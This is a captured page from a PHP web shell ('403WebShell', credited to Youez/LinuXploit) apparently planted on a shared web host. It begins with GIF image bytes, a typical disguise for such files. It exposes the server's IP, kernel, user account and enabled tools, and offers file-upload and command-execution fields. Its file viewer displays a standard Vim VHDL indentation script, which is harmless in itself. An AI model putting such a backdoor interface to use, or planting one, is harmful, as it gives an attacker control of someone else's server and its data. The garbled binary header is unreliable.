GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/vim/vim80/indent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/vim/vim80/indent/vhdl.vim
" VHDL indent ('93 syntax)
" Language:    VHDL
" Maintainer:  Gerald Lai <laigera+vim?gmail.com>
" Version:     1.62
" Last Change: 2017 Oct 17
" URL:         http://www.vim.org/scripts/script.php?script_id=1450

" only load this indent file when no other was loaded
if exists("b:did_indent")
  finish
endif
let b:did_indent = 1

" setup indent options for local VHDL buffer
setlocal indentexpr=GetVHDLindent()
setlocal indentkeys=!^F,o,O,0(,0)
setlocal indentkeys+==~begin,=~end\ ,=~end\	,=~is,=~select,=~when
setlocal indentkeys+==~if,=~then,=~elsif,=~else
setlocal indentkeys+==~case,=~loop,=~for,=~generate,=~record,=~units,=~process,=~block,=~function,=~component,=~procedure
setlocal indentkeys+==~architecture,=~configuration,=~entity,=~package

" constants
" not a comment
let s:NC = '\%(--.*\)\@<!'
" end of string
let s:ES = '\s*\%(--.*\)\=$'
" no "end" keyword in front
let s:NE = '\%(\<end\s\+\)\@<!'

" option to disable alignment of generic/port mappings
if !exists("g:vhdl_indent_genportmap")
  let g:vhdl_indent_genportmap = 1
endif

" option to disable alignment of right-hand side assignment "<=" statements
if !exists("g:vhdl_indent_rhsassign")
  let g:vhdl_indent_rhsassign = 1
endif

" only define indent function once
if exists("*GetVHDLindent")
  finish
endif

function GetVHDLindent()
  " store current line & string
  let curn = v:lnum
  let curs = getline(curn)

  " find previous line that is not a comment
  let prevn = prevnonblank(curn - 1)
  let prevs = getline(prevn)
  while prevn > 0 && prevs =~ '^\s*--'
    let prevn = prevnonblank(prevn - 1)
    let prevs = getline(prevn)
  endwhile
  let prevs_noi = substitute(prevs, '^\s*', '', '')

  " default indent starts as previous non-comment line's indent
  let ind = prevn > 0 ? indent(prevn) : 0
  " backup default
  let ind2 = ind

  " indent:   special; kill string so it would not affect other filters
  " keywords: "report" + string
  " where:    anywhere in current or previous line
  let s0 = s:NC.'\<report\>\s*".*"'
  if curs =~? s0
    let curs = ""
  endif
  if prevs =~? s0
    let prevs = ""
  endif

  " indent:   previous line's comment position, otherwise follow next non-comment line if possible
  " keyword:  "--"
  " where:    start of current line
  if curs =~ '^\s*--'
    let pn = curn - 1
    let ps = getline(pn)
    if curs =~ '^\s*--\s' && ps =~ '--'
      return indent(pn) + stridx(substitute(ps, '^\s*', '', ''), '--')
    else
      " find nextnonblank line that is not a comment
      let nn = nextnonblank(curn + 1)
      let ns = getline(nn)
      while nn > 0 && ns =~ '^\s*--'
        let nn = nextnonblank(nn + 1)
        let ns = getline(nn)
      endwhile
      let n = indent(nn)
      return n != -1 ? n : ind
    endif
  endif

  " ****************************************************************************************
  " indent:   align generic variables & port names
  " keywords: "procedure" + name, "generic", "map", "port" + "(", provided current line is part of mapping
  " where:    anywhere in previous 2 lines
  " find following previous non-comment line
  let pn = prevnonblank(prevn - 1)
  let ps = getline(pn)
  while pn > 0 && ps =~ '^\s*--'
    let pn = prevnonblank(pn - 1)
    let ps = getline(pn)
  endwhile
  if (curs =~ '^\s*)' || curs =~? '^\s*\%(\<\%(procedure\|generic\|map\|port\)\>.*\)\@<!\w\+\s*\w*\s*\((.*)\)*\s*\%(=>\s*\S\+\|:[^=]\@=\s*\%(\%(in\|out\|inout\|buffer\|linkage\)\>\|\s\+\)\)') && (prevs =~? s:NC.'\<\%(procedure\s\+\S\+\|generic\|map\|port\)\s*(\%(\s*\w\)\=' || (ps =~? s:NC.'\<\%(procedure\|generic\|map\|port\)'.s:ES && prevs =~ '^\s*('))
    " align closing ")" with opening "("
    if curs =~ '^\s*)'
      return ind2 + stridx(prevs_noi, '(')
    endif
    let m = matchend(prevs_noi, '(\s*\ze\w')
    if m != -1
      return ind2 + m
    else
      if g:vhdl_indent_genportmap
        return ind2 + stridx(prevs_noi, '(') + shiftwidth()
      else
        return ind2 + shiftwidth()
      endif
    endif
  endif

  " indent:   align conditional/select statement
  " keywords: variable + "<=" without ";" ending
  " where:    start of previous line
  if prevs =~? '^\s*\S\+\s*<=[^;]*'.s:ES
    if g:vhdl_indent_rhsassign
      return ind2 + matchend(prevs_noi, '<=\s*\ze.')
    else
      return ind2 + shiftwidth()
    endif
  endif

  " indent:   backtrace previous non-comment lines for next smaller or equal size indent
  " keywords: "end" + "record", "units"
  " where:    start of previous line
  " keyword:  ")"
  " where:    start of previous line
  " keyword:  without "<=" + ";" ending
  " where:    anywhere in previous line
  " keyword:  "=>" + ")" ending, provided current line does not begin with ")"
  " where:    anywhere in previous line
  " _note_:   indent allowed to leave this filter
  let m = 0
  if prevs =~? '^\s*end\s\+\%(record\|units\)\>'
    let m = 3
  elseif prevs =~ '^\s*)'
    let m = 1
  elseif prevs =~ s:NC.'\%(<=.*\)\@<!;'.s:ES || (curs !~ '^\s*)' && prevs =~ s:NC.'=>.*'.s:NC.')'.s:ES)
    let m = 2
  endif

  if m > 0
    let pn = prevnonblank(prevn - 1)
    let ps = getline(pn)
    while pn > 0
      let t = indent(pn)
      if ps !~ '^\s*--' && (t < ind || (t == ind && m == 3))
        " make sure one of these is true
        " keywords: variable + "<=" without ";" ending
        " where:    start of previous non-comment line
        " keywords: "procedure", "generic", "map", "port"
        " where:    anywhere in previous non-comment line
        " keyword:  "("
        " where:    start of previous non-comment line
        if m < 3 && ps !~? '^\s*\S\+\s*<=[^;]*'.s:ES
          if ps =~? s:NC.'\<\%(procedure\|generic\|map\|port\)\>' || ps =~ '^\s*('
            let ind = t
          endif
          break
        endif
        let ind = t
        if m > 1
          " find following previous non-comment line
          let ppn = prevnonblank(pn - 1)
          let pps = getline(ppn)
          while ppn > 0 && pps =~ '^\s*--'
            let ppn = prevnonblank(ppn - 1)
            let pps = getline(ppn)
          endwhile
          " indent:   follow
          " keyword:  "select"
          " where:    end of following previous non-comment line
          " keyword:  "type"
          " where:    start of following previous non-comment line
          if m == 2
            let s1 = s:NC.'\<select'.s:ES
            if ps !~? s1 && pps =~? s1
              let ind = indent(ppn)
            endif
          elseif m == 3
            let s1 = '^\s*type\>'
            if ps !~? s1 && pps =~? s1
              let ind = indent(ppn)
            endif
          endif
        endif
        break
      endif
      let pn = prevnonblank(pn - 1)
      let ps = getline(pn)
    endwhile
  endif

  " indent:   follow indent of previous opening statement, otherwise -sw
  " keyword:  "begin"
  " where:    anywhere in current line
  if curs =~? s:NC.'\<begin\>'
    " find previous opening statement of
    " keywords: "architecture", "block", "entity", "function", "generate", "procedure", "process"
    let s2 = s:NC.s:NE.'\<\%(architecture\|block\|entity\|function\|generate\|procedure\|process\)\>'

    let pn = prevnonblank(curn - 1)
    let ps = getline(pn)
    while pn > 0 && (ps =~ '^\s*--' || ps !~? s2)
      let pn = prevnonblank(pn - 1)
      let ps = getline(pn)

      if (ps =~? s:NC.'\<begin\>')
        return indent(pn) - shiftwidth()
      endif
    endwhile

    if (pn == 0)
      return ind - shiftwidth()
    else
      return indent(pn)
    endif
  endif

  " indent:   +sw if previous line is previous opening statement
  " keywords: "record", "units"
  " where:    anywhere in current line
  if curs =~? s:NC.s:NE.'\<\%(record\|units\)\>'
    " find previous opening statement of
    " keyword: "type"
    let s3 = s:NC.s:NE.'\<type\>'
    if curs !~? s3.'.*'.s:NC.'\<\%(record\|units\)\>.*'.s:ES && prevs =~? s3
      let ind = ind + shiftwidth()
    endif
    return ind
  endif

  " ****************************************************************************************
  " indent:   0
  " keywords: "architecture", "configuration", "entity", "library", "package"
  " where:    start of current line
  if curs =~? '^\s*\%(architecture\|configuration\|entity\|library\|package\)\>'
    return 0
  endif

  " indent:   maintain indent of previous opening statement
  " keyword:  "is"
  " where:    start of current line
  " find previous opening statement of
  " keywords: "architecture", "block", "configuration", "entity", "function", "package", "procedure", "process", "type"
  if curs =~? '^\s*\<is\>' && prevs =~? s:NC.s:NE.'\<\%(architecture\|block\|configuration\|entity\|function\|package\|procedure\|process\|type\)\>'
    return ind2
  endif

  " indent:   maintain indent of previous opening statement
  " keyword:  "then"
  " where:    start of current line
  " find previous opening statement of
  " keywords: "elsif", "if"
  if curs =~? '^\s*\<then\>' && prevs =~? s:NC.'\%(\<elsif\>\|'.s:NE.'\<if\>\)'
    return ind2
  endif

  " indent:   maintain indent of previous opening statement
  " keyword:  "generate"
  " where:    start of current line
  " find previous opening statement of
  " keywords: "for", "if"
  if curs =~? '^\s*\<generate\>' && prevs =~? s:NC.s:NE.'\%(\%(\<wait\s\+\)\@<!\<for\|\<if\)\>'
    return ind2
  endif

  " indent:   +sw
  " keywords: "block", "process"
  " removed:  "begin", "case", "elsif", "if", "loop", "record", "units", "while"
  " where:    anywhere in previous line
  if prevs =~? s:NC.s:NE.'\<\%(block\|process\)\>'
    return ind + shiftwidth()
  endif

  " indent:   +sw
  " keywords: "architecture", "configuration", "entity", "package"
  " removed:  "component", "for", "when", "with"
  " where:    start of previous line
  if prevs =~? '^\s*\%(architecture\|configuration\|entity\|package\)\>'
    return ind + shiftwidth()
  endif

  " indent:   +sw
  " keyword:  "select"
  " removed:  "generate", "is", "=>"
  " where:    end of previous line
  if prevs =~? s:NC.'\<select'.s:ES
    return ind + shiftwidth()
  endif

  " indent:   +sw
  " keyword:  "begin", "loop", "record", "units"
  " where:    anywhere in previous line
  " keyword:  "component", "else", "for"
  " where:    start of previous line
  " keyword:  "generate", "is", "then", "=>"
  " where:    end of previous line
  " _note_:   indent allowed to leave this filter
  if prevs =~? s:NC.'\%(\<begin\>\|'.s:NE.'\<\%(loop\|record\|units\)\>\)' || prevs =~? '^\s*\%(component\|else\|for\)\>' || prevs =~? s:NC.'\%('.s:NE.'\<generate\|\<\%(is\|then\)\|=>\)'.s:ES
    let ind = ind + shiftwidth()
  endif

  " ****************************************************************************************
  " indent:   -sw
  " keywords: "when", provided previous line does not begin with "when", does not end with "is"
  " where:    start of current line
  let s4 = '^\s*when\>'
  if curs =~? s4
    if prevs =~? s:NC.'\<is'.s:ES
      return ind
    elseif prevs !~? s4
      return ind - shiftwidth()
    else
      return ind2
    endif
  endif

  " indent:   -sw
  " keywords: "else", "elsif", "end" + "block", "for", "function", "generate", "if", "loop", "procedure", "process", "record", "units"
  " where:    start of current line
  let s5 = 'block\|for\|function\|generate\|if\|loop\|procedure\|process\|record\|units'
  if curs =~? '^\s*\%(else\|elsif\|end\s\+\%('.s5.'\)\)\>'
    if prevs =~? '^\s*\%(elsif\|'.s5.'\)'
      return ind
    else
      return ind - shiftwidth()
    endif
  endif

  " indent:   backtrace previous non-comment lines
  " keyword:  "end" + "case", "component"
  " where:    start of current line
  let m = 0
  if curs =~? '^\s*end\s\+case\>'
    let m = 1
  elseif curs =~? '^\s*end\s\+component\>'
    let m = 2
  endif

  if m > 0
    " find following previous non-comment line
    let pn = prevn
    let ps = getline(pn)
    while pn > 0
      if ps !~ '^\s*--'
        "indent:   -2sw
        "keywords: "end" + "case"
        "where:    start of previous non-comment line
        "indent:   -sw
        "keywords: "when"
        "where:    start of previous non-comment line
        "indent:   follow
        "keywords: "case"
        "where:    start of previous non-comment line
        if m == 1
          if ps =~? '^\s*end\s\+case\>'
            return indent(pn) - 2 * shiftwidth()
          elseif ps =~? '^\s*when\>'
            return indent(pn) - shiftwidth()
          elseif ps =~? '^\s*case\>'
            return indent(pn)
          endif
        "indent:   follow
        "keyword:  "component"
        "where:    start of previous non-comment line
        elseif m == 2
          if ps =~? '^\s*component\>'
            return indent(pn)
          endif
        endif
      endif
      let pn = prevnonblank(pn - 1)
      let ps = getline(pn)
    endwhile
    return ind - shiftwidth()
  endif

  " indent:   -sw
  " keyword:  ")"
  " where:    start of current line
  if curs =~ '^\s*)'
    return ind - shiftwidth()
  endif

  " indent:   0
  " keywords: "end" + "architecture", "configuration", "entity", "package"
  " where:    start of current line
  if curs =~? '^\s*end\s\+\%(architecture\|configuration\|entity\|package\)\>'
    return 0
  endif

  " indent:   -sw
  " keywords: "end" + identifier, ";"
  " where:    start of current line
  "if curs =~? '^\s*end\s\+\w\+\>'
  if curs =~? '^\s*end\%(\s\|;'.s:ES.'\)'
    return ind - shiftwidth()
  endif

  " ****************************************************************************************
  " indent:   maintain indent of previous opening statement
  " keywords: without "procedure", "generic", "map", "port" + ":" but not ":=" + "in", "out", "inout", "buffer", "linkage", variable & ":="
  " where:    start of current line
  if curs =~? '^\s*\%(\<\%(procedure\|generic\|map\|port\)\>.*\)\@<!\w\+\s*\w*\s*:[^=]\@=\s*\%(\%(in\|out\|inout\|buffer\|linkage\)\>\|\w\+\s\+:=\)'
    return ind2
  endif

  " ****************************************************************************************
  " indent:     maintain indent of previous opening statement, corner case which
  "             does not end in ;, but is part of a mapping
  " keywords:   without "procedure", "generic", "map", "port" + ":" but not ":=", never + ;$ and
  "             prevline without "procedure", "generic", "map", "port" + ":" but not ":=" + eventually ;$
  " where:      start of current line
  if curs =~? '^\s*\%(\<\%(procedure\|generic\|map\|port\)\>.*\)\@<!\w\+\s*\w*\s*:[^=].*[^;].*$'
    if prevs =~? '^\s*\%(\<\%(procedure\|generic\|map\|port\)\>.*\)\@<!\w\+\s*\w*\s*:[^=].*;.*$'
      return ind2
    endif
  endif

  " return leftover filtered indent
  return ind
endfunction

Youez - 2016 - github.com/yon3zu
LinuXploit